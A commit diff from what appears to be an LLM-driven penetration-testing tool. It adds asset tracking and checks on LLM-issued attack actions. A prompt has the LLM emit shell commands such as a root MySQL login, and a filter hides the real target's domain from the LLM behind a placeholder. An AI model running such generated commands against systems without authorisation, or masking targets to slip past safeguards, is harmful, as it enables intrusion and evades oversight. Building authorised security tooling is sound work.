Browse Source

V0.5.5.2

1.dnoe split stage;
2.add assets manager;
3.1-2never test;
4.before polling taget bak; and db update;
master
张龙 1 week ago
parent
commit
51d3497cea
  1. 9
      .idea/deployment.xml
  2. 2
      .idea/misc.xml
  3. 2
      .idea/zf_safe.iml
  4. 178
      mycode/AssetsManager.py
  5. 12
      mycode/AttackMap.py
  6. 91
      mycode/CommandVerify.py
  7. 489
      mycode/DBManager.py
  8. 30
      mycode/DataFilterManager.py
  9. 225
      mycode/LLMManager.py
  10. 6
      mycode/PythoncodeTool.py
  11. 115
      mycode/TargetManager.py
  12. 3
      mycode/TaskManager.py
  13. 424
      mycode/TaskObject.py
  14. 2
      pipfile
  15. 43
      test.py
  16. 2
      web/API/__init__.py
  17. 170
      web/API/assets.py
  18. 1023
      web/main/static/resources/scripts/assets_manager.js
  19. 2
      web/main/static/resources/scripts/task_manager.js
  20. 593
      web/main/templates/assets_manager.html
  21. 10
      web/main/templates/assets_manager_modal.html
  22. 331
      web/main/templates/assets_user_manager.html
  23. 4
      web/main/templates/header.html
  24. 8
      web/main/templates/his_task.html
  25. 2
      web/main/templates/index.html
  26. 108
      web/main/templates/polling_target.html
  27. 16
      web/main/templates/safe_status.html
  28. 8
      web/main/templates/task_manager_modal.html

9
.idea/deployment.xml

@ -1,7 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="PublishConfigData" autoUpload="Always" serverName="root@192.168.3.151:22" remoteFilesAllowedToDisappearOnAutoupload="false">
<component name="PublishConfigData" autoUpload="Always" serverName="root@192.168.204.135:22 password" remoteFilesAllowedToDisappearOnAutoupload="false">
<serverData>
<paths name="root@192.168.204.135:22 password">
<serverdata>
<mappings>
<mapping deploy="/mnt/zfsafe" local="$PROJECT_DIR$" />
</mappings>
</serverdata>
</paths>
<paths name="root@192.168.204.136:22 password">
<serverdata>
<mappings>

2
.idea/misc.xml

@ -1,4 +1,4 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectRootManager" version="2" project-jdk-name="Remote Python 3.8.20 (sftp://root@192.168.3.151:22/root/miniconda3/envs/py38/bin/python)" project-jdk-type="Python SDK" />
<component name="ProjectRootManager" version="2" project-jdk-name="Remote Python 3.8.20 (sftp://root@192.168.204.135:22/root/ENTER/envs/py38/bin/python)" project-jdk-type="Python SDK" />
</project>

2
.idea/zf_safe.iml

@ -2,7 +2,7 @@
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="jdk" jdkName="Remote Python 3.8.20 (sftp://root@192.168.3.151:22/root/miniconda3/envs/py38/bin/python)" jdkType="Python SDK" />
<orderEntry type="jdk" jdkName="Remote Python 3.8.20 (sftp://root@192.168.204.135:22/root/ENTER/envs/py38/bin/python)" jdkType="Python SDK" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>

178
mycode/AssetsManager.py

@ -0,0 +1,178 @@
from mycode.DBManager import app_DBM
class AssetsManager:
def __init__(self):
pass
def __del__(self):
pass
def get_IP_assets(self,IP,user,safe_rank):
ip_assets = []
ip_assets = app_DBM.get_ip_assets_db(IP,user,safe_rank)
if not ip_assets:
ip_assets = []
return ip_assets
def get_IP_info(self,IP):
ip_info = app_DBM.get_ip_info_db(IP)
if not ip_info:
ip_info = []
return ip_info
def get_assets_users(self,uname):
assets_users = app_DBM.get_assets_users_db(uname)
if not assets_users:
assets_users = []
return assets_users
def update_assets_users(self,IP,owner_id,itype = 1):
return app_DBM.update_assets_users_db(IP,owner_id,itype)
def get_port_latest(self,ip):
return app_DBM.get_port_latest_db(ip)
def get_port_history(self,ip):
#拿ip_id
strsql = "select id,scan_count from ip_assets where ip_address = %s"
params = (ip,)
ip_data = app_DBM.safe_do_select(strsql,params,1)
ip_id = ip_data[0]
scan_count = ip_data[1]
# 1) 拿批次
sql_batches = '''
SELECT DISTINCT scan_count, scan_time
FROM port_assets
WHERE ip_id=%s
ORDER BY scan_count ASC;
'''
batches = app_DBM.safe_do_select(sql_batches, (ip_id,))
times = [row[1] for row in batches]
counts = [row[0] for row in batches]
if len(times) != scan_count:
print(f"*****数据批次有问题")
# 2) 拿所有端口数据
sql_ports = '''
SELECT port, service, version, status, scan_count
FROM port_assets
WHERE ip_id=%s
ORDER BY port ASC, scan_count ASC;
'''
rows = app_DBM.safe_do_select(sql_ports, (ip_id,))
# 3) 组织成: { port: { service, version, statuses: [...], changed: [...] } }
from collections import OrderedDict
port_dict = OrderedDict()
for port, service, version, status, sc in rows:
entry = port_dict.setdefault(port, {
'service': [],
'version': [],
'statuses': [],
'scancount': [],
'changed': []
})
entry['service'].append(service)
entry['version'].append(version)
entry['statuses'].append(status)
entry['scancount'].append(sc)
# 4) 计算 changed 数组:与前一批次对比
for port, info in port_dict.items():
service = info['service']
version = info['version']
statuses = info['statuses']
#scancount = info['scancount'] #执行次序不用对比
changed = []
for i in range(len(service)):
if i == 0:
changed.append(0) # 第一个批次,默认无变化
else:
if service[i] != service[i-1] or version[i] != version[i-1] or statuses[i] != statuses[i-1]:
changed.append(1)
else:
changed.append(0)
info['changed'] = changed
return times,port_dict
def get_ip_url_latest(self,ip):
return app_DBM.get_ip_url_latest_db(ip)
def get_ip_url_history(self,ip):
return app_DBM.get_ip_url_history_db(ip)
def get_vul_data(self,ip,nodeName,vulType,vulLevel):
# 先获取该IP最新的task_id
task_id = app_DBM.get_last_task_by_ip(ip)
if not task_id:
return []
vuls = app_DBM.get_task_vul(task_id, nodeName, vulType, vulLevel)
return vuls
def del_ip_assets(self,ip):
bsuccess,error = app_DBM.del_ip_assets(ip)
return bsuccess,error
def get_url_assets(self,url,owner,email):
url_assets = app_DBM.get_url_assets_db(url,owner,email)
return url_assets
def get_url_to_ip(self,url_id):
last_to_ips,his_to_ip = app_DBM.get_url_to_ip_db(url_id)
return last_to_ips,his_to_ip
def del_url_assets(self,url_id):
bsuccess, error = app_DBM.del_url_assets_db(url_id)
return bsuccess, error
def get_owners(self,owner, owner_type, contact, tellnum):
owner_list = []
owner_list = app_DBM.get_owner_db(owner, owner_type, contact, tellnum)
return owner_list
def add_update_owner(self,owner_data, do_mode):
'''
:param owner_data:
:param do_mode:
:return:
'''
id = owner_data["id"]
user = owner_data["user"]
type = owner_data["type"]
contact = owner_data["contact"]
phone = owner_data["phone"]
IDno = owner_data["IOno"]
if not user or not type or not contact or not phone or not IDno:
return False, "有信息没有填写,请补充完整!", []
if do_mode =="add":
strsql = "select ID from assets_user where ID_num = %s"
params = (IDno,)
data = app_DBM.safe_do_select(strsql, params, 1)
if data:
return False, "证件号码已经存在,请重新修改", []
strsql = "insert into assets_user (itype,uname,tellnum,tell_username,ID_num) values (%s,%s,%s,%s,%s);"
params = (type,user,phone,contact,IDno)
bok,new_id = app_DBM.safe_do_sql(strsql,params,1)
elif do_mode == "edit":
strsql = "select ID from assets_user where ID_num = %s and ID <> %s"
params = (IDno,id)
data = app_DBM.safe_do_select(strsql, params, 1)
if data:
return False, "证件号码已经存在,请重新修改", []
strsql = "update assets_user set itype=%s,uname=%s,tellnum=%s,tell_username=%s,ID_num=%s where ID=%s;"
params = (type, user, phone, contact, IDno,id)
bok,_ = app_DBM.safe_do_sql(strsql,params)
else:
return False,"操作模式超出预期",[]
if bok:
owner_list = app_DBM.get_owner_db("", "", "", "")
return True,"",owner_list
else:
return False, "数据库操作失败", []
def del_owner(self,id):
bsuccess,error = app_DBM.del_owner_db(id)
return bsuccess,error
g_AssetsM = AssetsManager()

12
mycode/AttackMap.py

@ -378,11 +378,17 @@ class TreeNode:
else:
return False,"只有待执行时,允许删除指令"
def add_res(self,str_res): #llm_queue入库的情况比较多,2,0,4
def add_res(self,str_res,itype =0): #llm_queue入库的情况比较多,2,0,4
if str_res:
with self.work_status_lock:
if self._work_status in (2,0,4):
self._llm_quere.append(str_res)
if itype == 1: #要插入到第一个
tmplist = []
tmplist.append(str_res)
tmplist.extend(self._llm_quere)
self._llm_quere = tmplist
else:
self._llm_quere.append(str_res)
if self._work_status in (2,0): #提交中,不要改变执行状态
self._work_status =3
else:
@ -400,7 +406,7 @@ class TreeNode:
return None
def clear_res(self):
with self.llm_list_lock:
with self.work_status_lock:
self._llm_quere.clear()
#-----------web查看数据-----------

91
mycode/CommandVerify.py

@ -5,7 +5,7 @@ class CommandVerify:
pass
#验证节点指令的结构完整性--主要是判断JSON元素是否完整
def verify_node_cmds(self,node_cmds):
def verify_node_cmds(self,json_datas):
'''
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
@ -13,36 +13,85 @@ class CommandVerify:
- 完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
'''
strerror = ""
for node_json in node_cmds:
if "action" not in node_json:
print(f"缺少action节点:{node_json}")
strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"}
for json_data in json_datas:
if "action" not in json_data:
strerror = {"节点指令错误":f"{json_data}缺少action节点,不符合格式要求!"}
break
action = node_json["action"]
if action == "add_node":
if "parent" not in node_json or "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
action = json_data["action"]
if action == "dash" or action == "python":
required_keys = {"path", "content"}
elif action == "add_node":
required_keys = {"parent", "nodes"}
elif action == "end_work":
if "node" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action =="no_instruction":
if "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
required_keys = {"node"}
elif action =="find_vul":
if "node" not in node_json or "vulnerability" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
required_keys = {"node","vulnerability","name","risk","info"}
elif action == "asset":
if "IPS" not in json_data or "URL" not in json_data:
strerror = {"JSON结果格式错误": f"{json_data}不符合格式要求,缺少节点!"}
break
ips_json = json_data["IPS"]
url_json = json_data["URL"]
#URL信息检查
if url_json:
required_keys = {"Domain", "Subdomains", "Registrant", "Email","Registrar","Creation_date", "Expiration_date"}
is_valid, missing = self.validate_json_keys(url_json, required_keys)
if not is_valid:
strerror = {"JSON结果格式错误": f"{url_json}缺少主键{missing}"}
break
#IP信息检查
#[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]]}
#{\"Port\":\"端口号\",\"Service\":\"服务名称\",\"Version\":\"版本号\",\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"};
for ip_json in ips_json:
required_keys = {"IP","IPtype","Ports"}
is_valid, missing = self.validate_json_keys(ip_json, required_keys)
if not is_valid:
strerror = {"JSON结果格式错误": f"{ip_json}缺少主键{missing}"}
break
#端口数据检查
ports_json = ip_json["Ports"]
for port in ports_json:
required_keys = {"Port","Service","Version","Protocol","Status"}
is_valid,missing = self.validate_json_keys(port,required_keys)
if not is_valid:
strerror = {"JSON结果格式错误": f"{port}缺少主键{missing}"}
break
continue
else:
strerror = {"节点指令错误": f"{node_json}不可识别的action值!"}
strerror = {"节点指令错误": f"{json_data}含有不可识别的action值!"}
break
is_valid, missing = self.validate_json_keys(json_data, required_keys)
if not is_valid:
strerror = {"JSON结果格式错误": f"{json_data}缺少主键{missing}"}
break
if not strerror:
return True,strerror
return False,strerror
#验证JSON关键字是否缺失
def validate_json_keys(self,json_obj, required_keys):
"""
校验JSON对象是否包含所有必需的键
Args:
json_obj (dict): 要校验的JSON对象
required_keys (set): 必需键的集合
Returns:
tuple: (bool, list) - 表示是否所有键都存在的布尔值以及缺失键的列表如果都存在则为空
"""
if not isinstance(json_obj, dict):
return False, ["JSON对象必须是字典类型"]
json_keys = set(json_obj.keys())
missing_keys = required_keys - json_keys
if missing_keys:
return False, list(missing_keys)
else:
return True, []
# 验证节点数据的合规性
def verify_node_data(self,node_cmds):
add_nodes = []

489
mycode/DBManager.py

@ -16,6 +16,7 @@ class DBManager:
self.logger = LogHandler().get_logger("DBManager")
self.lock = threading.Lock()
self.itype = myCongif.get_data("DBType")
self.COLUMN_LIMITS = {} #各个表字段长度信息
self.ok = False
if self.itype ==0:
self.host = myCongif.get_data('mysql.host')
@ -39,6 +40,49 @@ class DBManager:
self.connection = None
self.logger.debug("DBManager销毁")
def get_column_limits(self):
'''连接成功后,统一读取数据库字段列长度设定'''
tables = ['assets_user','ip_assets','ip_to_url','port_assets','task','task_llm','task_result','task_vul','url_assets','user','zf_system']
for table in tables:
table_limit = {}
strsql = f'''
SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH
FROM information_schema.columns
WHERE table_schema = 'your_db'
AND table_name = '{table}';
'''
datas = self.do_select(strsql)
for data in datas:
if data[1]:
table_limit[f"{str(data[0])}"] = data[1]
self.COLUMN_LIMITS[f"{table}"] = table_limit
def trim_fields(self,table: str, data: dict, logger) -> dict:
"""
COLUMN_LIMITS 截断过长的 varchar/text 字段
:param table: 表名
:param data : 待插入/更新的字段 dict
:return : dict已截断
"""
limits = self.COLUMN_LIMITS.get(table, {})
trimmed = {}
for col, val in data.items():
if val is None or col not in limits:
trimmed[col] = val
continue
max_len = limits[col]
# 只处理 str 类型
if isinstance(val, str) and len(val) > max_len:
self.logger.debug(
f"{table}.{col} 超长:{len(val)} > {max_len},已截断"
)
trimmed[col] = val[:max_len]
else:
trimmed[col] = val
return trimmed
def connect(self):
try:
if self.itype ==0:
@ -48,6 +92,7 @@ class DBManager:
self.connection = sqlite3.connect(self.dbfile)
self.ok = True
self.logger.debug("服务器端数据库连接成功")
#self.get_column_limits()
return True
except:
self.logger.error("服务器端数据库连接失败")
@ -103,23 +148,36 @@ class DBManager:
self.lock.release()
return bok
def safe_do_sql(self,strsql,params,itype=0):
def safe_do_sql(self,strsql,params,itype=0,table=None,field_names=None):
"""
table : 目标表名若要自动截断必须填
field_names : params 顺序对应的列名列表
"""
if table and field_names:
data_map = dict(zip(field_names, params))
data_map = self.trim_fields(table, data_map, self.logger)
params = tuple(data_map[col] for col in field_names)
bok = False
task_id = 0
do_id = 0
self.lock.acquire()
if self.Retest_conn():
try:
with self.connection.cursor() as cursor:
cursor.execute(strsql, params)
self.connection.commit()
if itype ==1: #只有插入task任务数据的时候是1
task_id = cursor.lastrowid
if itype ==1: #取insert 的自增id
do_id = cursor.lastrowid
elif itype ==2: #取删除的id,需要添加RETURNING id;
row = cursor.fetchone()
if row:
do_id = row[0]
bok = True
except Exception as e:
self.logger.error("执行数据库语句%s出错:%s" % (strsql, str(e)))
self.connection.rollback()
self.lock.release()
return bok,task_id
return bok,do_id
def safe_do_select(self,strsql,params,itype=0):
results = []
@ -134,7 +192,7 @@ class DBManager:
elif itype ==1:
results = cursor.fetchone() #获得一条记录
except Exception as e:
print(f"查询出错: {e}")
print(f"查询出错: {e}--\n{strsql}")
self.lock.release()
return results
@ -181,8 +239,9 @@ class DBManager:
return task_id
def over_task(self,task_id):
strsql = "update task set task_status=2 where ID=%s;"
params = (task_id)
over_time = get_local_timestr()
strsql = "update task set task_status=2,end_time=%s where ID=%s;"
params = (over_time,task_id)
bok,_ = self.safe_do_sql(strsql, params)
return bok
@ -372,7 +431,7 @@ class DBManager:
params.append(start_time_str)
if end_time and end_time.strip(): # 检查vullevel是否非空
conditions.append("end_time < %s")
conditions.append("start_time < %s")
# 将输入字符串转为日期对象
end_date = datetime.strptime(end_time, "%Y-%m-%d")
# 生成结束时间字符串(次日 00:00:00)
@ -382,6 +441,7 @@ class DBManager:
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
strsql += " order by start_time DESC"
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
@ -404,6 +464,408 @@ class DBManager:
data = self.safe_do_select(strsql,params,1)
return data[0]
#------------------资产表相关----------------------
def add_or_update_URL_asset(self,Domain,Subdomains,Registrant,Email,Creation_date,Expiration_date,Registrar):
strsql = "select ID from url_assets where URL= %s"
params = (Domain)
data = self.safe_do_select(strsql,params,1)
do_time = get_local_timestr()
if Subdomains:
strSubdomains = ','.join(Subdomains)
else:
strSubdomains = ""
if not data:#没有数据则新增
strsql = "insert into url_assets (registrar,creation_date,expiration_date,emails,create_time,update_time,URL,subdomains,Registrant) " \
"values (%s,%s,%s,%s,%s,%s,%s,%s,%s)"
params =(Registrar,Creation_date,Expiration_date,Email,do_time,do_time,Domain,strSubdomains,Registrant)
bok,url_id = self.safe_do_sql(strsql,params,1)
else:#有值则修改
url_id = data[0]
strsql = "update url_assets set registrar=%s,Registrant=%s,creation_date=%s,expiration_date=%s,emails=%s,update_time=%s," \
"subdomains=%s where ID = %s;"
params = (Registrar,Registrant,Creation_date,Expiration_date,Email,do_time,strSubdomains,url_id)
bok,_ = self.safe_do_sql(strsql,params)
#维护历史记录 --由数据库触发器维护
return url_id
def add_or_update_IP_asset(self,IP,ip_type):
#return ip_id scan_count
strsql = "select id,scan_count from ip_assets where ip_address = %s;"
params = (IP)
data = self.safe_do_select(strsql,params,1)
if data:
return data[0],data[1]
#IP没有则新建入库
ip_id = 0
start_time = get_local_timestr()
sql = "INSERT INTO ip_assets (ip_address,ip_version,created_time,scan_count) VALUES (%s,%s,%s,%s);"
params = (IP, ip_type, start_time,0)
bok, ip_id = self.safe_do_sql(sql, params, 1)
return ip_id,0
#将task_id 和ip资产进行关联
def add_task_to_ip(self,task_id,ip_id):
strsql = "INSERT INTO task_to_ip (task_id,ip_id) VALUES (%s,%s);"
params = (task_id,ip_id)
bok,_ = self.safe_do_sql(strsql,params)
return bok
def update_port(self,ip_id,scan_count,Prots):
update_time = get_local_timestr()
scan_count += 1
strsql = "update ip_assets set update_time = %s,scan_count = %s where id=%s"
params = (update_time,scan_count,ip_id)
bok,_ = self.safe_do_sql(strsql,params)
if bok:
#最新的port数据入库 {\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"};
for port in Prots:
p_num = port["Port"]
service = port["Service"]
version = port["Version"]
protocol = port["Protocol"]
status = port["Status"]
strsql = "insert into port_assets (port,service,version,status,ip_id,scan_count,scan_time,Protocol) " \
"values (%s,%s,%s,%s,%s,%s,%s,%s)"
params = (p_num,service,version,status,ip_id,scan_count,update_time,protocol)
bok,_ = self.safe_do_sql(strsql,params)
return bok
def update_url_to_ip(self,url_id,ips):
strsql = "select ip_id from ip_to_url where url_id = %s"
params = (url_id)
datas = self.safe_do_select(strsql,params)
old_ips = []
for data in datas:
old_ips.append(data[0])
only_in_old = list(set(old_ips) - set(ips)) #适合不重复,不关心顺序的情况
only_in_new = list(set(ips) - set(old_ips))
do_time = get_local_timestr()
if only_in_old:#新的关联中没有,老的有,就是删除了
placeholders = ",".join(["(%s,%s,%s)"] * len(only_in_old))
sql = f"""
INSERT INTO ip_to_url_his (ip_id, url_id, del_time)
VALUES {placeholders}
"""
# 扁平化参数列表
params: list = []
for ip in only_in_old:
params += [ip, url_id, do_time]
# 一次性执行
bok, _ = self.safe_do_sql(sql, tuple(params))
if not bok:
raise RuntimeError("批量插入 ip_to_url_his 失败")
#老表中删除记录---待验证
strsql = '''
delete from ip_to_url where url_id=%s and ip_id in (%s)
'''
del_ips = ','.join([str(x) for x in only_in_old])
params = (url_id,del_ips)
bok,_ = self.safe_do_sql(strsql,params)
if not bok:
raise RuntimeError("批量删除 ip_to_url 失败")
if only_in_new:#新的有,老的没有就是新增。
placeholders = ",".join(["(%s,%s,%s)"] * len(only_in_new))
sql = f"""
INSERT INTO ip_to_url (ip_id, url_id, create_time)
VALUES {placeholders}
"""
# 扁平化参数列表
params: list = []
for ip in only_in_new:
params += [ip, url_id, do_time]
# 一次性执行
bok, _ = self.safe_do_sql(sql, tuple(params))
if not bok:
raise RuntimeError("批量插入 ip_to_url 失败")
def get_ip_assets_db(self,IP,user,risk_rank):
strsql = '''
SELECT
ia.ip_address,
au.uname,
ia.risk_rank,
ia.update_time,
COALESCE(p.port_cnt ,0) AS port_total,
COALESCE(u.url_cnt ,0) AS url_total
FROM ip_assets AS ia
LEFT JOIN assets_user AS au ON ia.owner_id = au.ID
/* 端口数量 */
LEFT JOIN (
SELECT ip_id,scan_count,COUNT(*) AS port_cnt
FROM port_assets
GROUP BY ip_id,scan_count
) AS p ON p.ip_id = ia.id and p.scan_count=ia.scan_count
/* URL 数量 */
LEFT JOIN (
SELECT ip_id, COUNT(*) AS url_cnt
FROM ip_to_url
GROUP BY ip_id
) AS u ON u.ip_id = ia.id
WHERE
(%s IS NULL OR ia.ip_address LIKE %s)
AND (%s IS NULL OR au.uname LIKE %s)
AND (%s IS NULL OR ia.risk_rank = %s);
'''
# 构造参数
ip_like = f"%{IP}%" if IP else None
user_like = f"%{user}%" if user else None
rk = risk_rank
params = (
ip_like, ip_like,
user_like, user_like,
rk, rk,
)
# cursor.execute(sql, params)
# rows = cursor.fetchall()
datas = self.safe_do_select(strsql,params)
return datas
def get_ip_info_db(self,IP):
strsql = '''
select au.ID,au.tellnum,au.tell_username from assets_user as au
left join ip_assets as ai on ai.owner_id = au.ID
where ai.ip_address = %s;
'''
params = (IP)
data = self.safe_do_select(strsql,params,1)
return data
def get_assets_users_db(self,uname):
if uname:
strsql = "select ID,uname,tellnum,tell_username from assets_user where uname like %s;"
params = (f'%{uname}%')
datas = self.safe_do_select(strsql,params)
else:
strsql = "select ID,uname,tellnum,tell_username from assets_user;"
datas = self.do_select(strsql)
return datas
def update_assets_users_db(self,IP,owner_id,itype):
if itype ==1:
strsql = '''
update ip_assets set owner_id = %s where ip_address = %s;
'''
else:
strsql = '''
update url_assets set owner_id = %s where ID = %s;
'''
params = (owner_id,IP)
bok,_ = self.safe_do_sql(strsql,params)
error = ""
if not bok:
error = "修改资产所属用户失败"
return bok,error
def get_port_latest_db(self,ip):
strsql = '''
select po.port,po.service,po.version,po.status from port_assets as po
left join ip_assets as ip
on ip.id = po.ip_id and ip.scan_count = po.scan_count
where ip.ip_address = %s
'''
params = (ip)
datas = self.safe_do_select(strsql,params)
return datas
def get_ip_url_latest_db(self,ip):
strsql = '''
select url.URL,url.subdomains,url.registrar,url.emails,url.creation_date,url.expiration_date from url_assets as url
left join ip_to_url as i2u on i2u.url_id = url.ID
left join ip_assets as ip on ip.id = i2u.ip_id
where ip_address = %s;
'''
params = (ip)
datas = self.safe_do_select(strsql,params)
return datas
def get_ip_url_history_db(self,ip):
#先把ip_id获取到
strsql = "select id from ip_assets where ip_address=%s;"
params = (ip,)
data = self.safe_do_select(strsql,params,1)
if not data:
return None
ip_id = data[0]
strsql = '''
select url.URL,i2u.create_time as time,'add' as type from ip_to_url as i2u
left join url_assets as url on url.ID = i2u.url_id
where ip_id=%s
union all
select url.URL,i2u_his.del_time as time,'del' as type from ip_to_url_his as i2u_his
left join url_assets as url on url.ID = i2u_his.url_id
where ip_id=%s
order by time DESC;
'''
params =(ip_id,ip_id)
datas = self.safe_do_select(strsql,params)
return datas
def del_url_assets_db(self,url_id):
#url assets
strsql ="delete from url_assets where ID=%s;"
params = (url_id,)
bok,_ = self.safe_do_sql(strsql,params)
#url_assets_his
strsql = "delete from url_assets_his where url_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
#ip_to_url
strsql = "delete from ip_to_url where url_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
#ip_to_url_his
strsql = "delete from ip_to_url_his where url_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
return True,"删除URL资产成功"
def get_last_task_by_ip(self,ip):
#寻找该IP最新完成的任务
strsql = '''
SELECT t.ID AS latest_task_id,t.start_time
FROM ip_assets AS ia
JOIN task_to_ip AS ti ON ia.id = ti.ip_id
JOIN task AS t ON ti.task_id = t.ID
WHERE ia.ip_address = %s
ORDER BY t.start_time DESC
LIMIT 1;
'''
params = (ip,)
data = self.safe_do_select(strsql ,params,1)
if data:
return data[0]
else:
return None
def del_ip_assets(self,ip):
#删除IP资产 -- 资产库中跟该资产相关的数据都需要删除,return bok,error
bok = False
# ip_assets
sql = """
DELETE FROM ip_assets
WHERE ip_address = %s
RETURNING id;
"""
params = (ip,)
bok,ip_id= self.safe_do_sql(sql,params,2)
if ip_id:
#task_to_ip
strsql = "delete from task_to_ip where ip_id = %s;"
bok,_ = self.safe_do_sql(strsql,params)
#ip_to_url
strsql = "delete from ip_to_url where ip_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
#ip_to_url_his
strsql = "delete from ip_to_url_his where ip_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
#port_assets
strsql = "delete from port_assets where ip_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
return True,"删除成功"
def get_url_assets_db(self,url,owner,email):
url_assets = []
strsql = '''
select url.ID,url.URL,au.uname,url.emails,url.update_time,url.expiration_date,ip.ip_count,url.Registrant,au.tellnum,au.tell_username,au.ID from url_assets as url
left join assets_user as au on au.ID = url.owner_id
left join (select url_id,count(*) as ip_count from ip_to_url group by url_id) as ip on url.ID = ip.url_id
'''
conditions = []
params = []
if url and url.strip():
conditions.append("url.URL like %s")
params.append(f"%{url}%")
if owner and owner.strip():
conditions.append("au.uname like %s")
params.append(f"%{owner}%")
if email and email.strip():
conditions.append("url.emails like %s")
params.append(f"%{email}%")
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
url_assets = self.safe_do_select(strsql, tuple(params))
return url_assets
def get_url_to_ip_db(self,url_id):
strsql = '''
select ia.ip_address,itu.create_time from ip_assets ia
left join ip_to_url itu on itu.ip_id = ia.id
where itu.url_id = %s;
'''
params = (url_id,)
last_to_ips = self.safe_do_select(strsql,params)
strsql = '''
select ia.ip_address,itu.del_time from ip_assets ia
left join ip_to_url_his itu on itu.ip_id = ia.id
where itu.url_id = %s;
'''
params = (url_id,)
his_to_ips = self.safe_do_select(strsql, params)
return last_to_ips,his_to_ips
def get_owner_db(self,owner, owner_type, contact, tellnum):
strsql = '''
SELECT
u.ID,
u.itype,
u.uname,
u.tellnum,
u.tell_username,
u.ID_num,
IFNULL(ip.ip_count, 0) AS ip_count,
IFNULL(url.url_count, 0) AS url_count,
IFNULL(ip.ip_count, 0) + IFNULL(url.url_count, 0) AS total_assets
FROM assets_user u
LEFT JOIN (
SELECT owner_id, COUNT(*) AS ip_count
FROM ip_assets
GROUP BY owner_id
) ip ON u.ID = ip.owner_id
LEFT JOIN (
SELECT owner_id, COUNT(*) AS url_count
FROM url_assets
GROUP BY owner_id
) url ON u.ID = url.owner_id
'''
conditions = []
params = []
# 按需添加其他条件
if owner and owner.strip():
conditions.append("uname like %s")
params.append(f"%{owner}%")
if owner_type and owner_type.strip():
conditions.append("itype=%s")
params.append(owner_type)
if contact and contact.strip():
conditions.append("tell_username like %s")
params.append(f"%{contact}%")
if tellnum and tellnum.strip():
conditions.append("tellnum like %s")
params.append(f"%{tellnum}%")
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
return datas
def del_owner_db(self,id):
strsql = "delete from assets_user where ID=%s;"
params = (id,)
bok,_ = self.safe_do_sql(strsql,params)
#删除IP和URL与owner的关系
strsql = "update ip_assets set owner_id = 0 where owner_id = %s;"
bok,_ = self.safe_do_sql(strsql,params)
strsql = "update url_assets set owner_id = 0 where owner_id = %s;"
bok, _ = self.safe_do_sql(strsql, params)
return True,""
def test(self):
# 建立数据库连接
@ -438,6 +900,9 @@ app_DBM = DBManager()
app_DBM.connect()
if __name__ == "__main__":
mDBM = DBManager()
mDBM.connect()
print(mDBM.start_task("11","22"))
# mDBM = DBManager()
# mDBM.connect()
# print(mDBM.start_task("11","22"))
list_a = ['1','2','3','4','5','6']
str_a = ','.join(list_a)
print(str_a)

30
mycode/DataFilterManager.py

@ -1,19 +1,41 @@
import tldextract
class DataFilterManager:
def __init__(self,target,fake_target):
self.real_target = target
self.real_domain = ""
self.fake_target = fake_target
self.init_DataFilter()
def init_DataFilter(self):
if self.fake_target == "czzfkjxx":
try:
extracted = tldextract.extract(self.real_target)
self.real_domain = extracted.domain
except Exception as e:
print(f"{self.real_target}不合法!")
def filter_prompt(self,prompt):
fake_prompt = prompt.replace(self.real_target,self.fake_target)
if self.real_domain:
fake_prompt = prompt.replace(self.real_domain, self.fake_target)
else:
fake_prompt = prompt.replace(self.real_target,self.fake_target)
return fake_prompt
def filter_instruction(self,instruction):
real_instruction = instruction.replace(self.fake_target,self.real_target)
if self.real_domain:
real_instruction = instruction.replace(self.fake_target,self.real_domain)
else:
real_instruction = instruction.replace(self.fake_target, self.real_target)
return real_instruction
def filter_result(self,instr,result):
fake_instr = instr.replace(self.real_target,self.fake_target)
fake_result = result.replace(self.real_target,self.fake_target)
if self.real_domain:
fake_instr = instr.replace(self.real_domain, self.fake_target)
fake_result = result.replace(self.real_domain, self.fake_target)
else:
fake_instr = instr.replace(self.real_target,self.fake_target)
fake_result = result.replace(self.real_target,self.fake_target)
return fake_instr,fake_result

225
mycode/LLMManager.py

@ -13,6 +13,7 @@ from myutils.ConfigManager import myCongif
from myutils.MyTime import get_local_timestr
from myutils.MyLogger_logger import LogHandler
from myutils.ContentManager import ContentManager
from mycode.CommandVerify import g_CV
class LLMManager:
def __init__(self,illm_type):
@ -59,8 +60,9 @@ class LLMManager:
- 仅在发现新信息或漏洞时新增子节点
- 确保每个新增节点匹配测试指令
'''
# 初始化messages
def build_initial_prompt(self,node):
def build_initial_prompt(self,node,itype):
if not node:
return
#根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
@ -98,22 +100,85 @@ class LLMManager:
```dash-[目标系统->192.168.1.100->3306端口]
mysql -u root -p 192.168.1.100
```
